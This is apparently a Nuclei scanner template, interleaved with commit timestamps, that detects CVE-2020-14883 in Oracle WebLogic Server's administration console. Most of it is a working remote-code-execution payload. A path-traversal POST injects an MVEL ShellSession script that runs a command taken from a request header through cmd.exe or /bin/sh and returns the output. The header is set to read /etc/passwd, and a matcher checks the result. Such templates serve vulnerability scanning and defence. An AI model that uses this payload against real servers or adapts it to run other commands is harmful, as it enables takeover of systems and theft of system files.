2021-03-21 08:03:59 +00:00
id : CVE-2020-14883
info :
name : Oracle WebLogic Server Administration Console Handle RCE
author : pdteam
severity : critical
2021-03-21 10:09:34 +00:00
description : Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
2021-03-21 08:03:59 +00:00
reference : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
2021-03-21 14:45:40 +00:00
tags : cve,cve2020,oracle,rce,weblogic
2021-03-21 08:03:59 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal"
headers :
2021-03-21 10:09:34 +00:00
Content-Type : application/x-www-form-urlencoded
Test-Header : cat /etc/passwd
2021-03-21 08:03:59 +00:00
body : |
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("Test-Header");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
condition : and
- type : status
status :
- 200